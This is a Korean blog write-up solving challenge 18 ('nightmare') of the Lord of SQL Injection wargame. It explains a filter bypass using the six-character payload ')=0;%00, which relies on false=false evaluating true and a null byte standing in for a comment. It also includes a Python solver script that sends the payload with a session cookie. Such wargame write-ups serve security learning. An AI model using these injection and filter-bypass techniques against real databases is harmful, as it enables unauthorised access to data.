본문으로 바로가기

LOS 18(nightmare)

category LOS-write up 2021. 1. 5. 05:30

문제

문제 분석

pw에 "prob" , "_" , ".","#","-" 를 피해야 하며 pw로 입력할수있는 문자는 6글자가 최대이다

이를 만족하며 id에 값이 들어가게 하면 문제가 풀린다.

 

이때 주석 우회와 논리적으로 맞는 쿼리를 만드는것이 핵심이다.

 

문제 풀이

 

이문제는 false = false 가 true라는 점을 이용해야하며 #,-- 대신 ;%00으로 우회하여 문제를 푼다.

 

where pw('')=0;%00 and id!='admin'
=>  pw('')=0 은 false = false 즉 참이 된다.

 

따라서 ')=0;%00 이 6글자를 넣어주게되면 문제가 풀린다.

 

 

문제 정답

URL?pw=')=0;%00

%00 은 null문자로 인식되어 한글자로 처리된다.

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

#False = False 로 true 만들기
#;%00 으로 주석처리하기

data['pw']="')=0;\0"   
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 20(dragon)  (0) 2021.01.05
LOS 19(xavis)  (0) 2021.01.05
LOS 17(zombie_assassin)  (0) 2021.01.05
LOS 16(succubus)  (0) 2021.01.05
LOS 15(assassin)  (0) 2021.01.05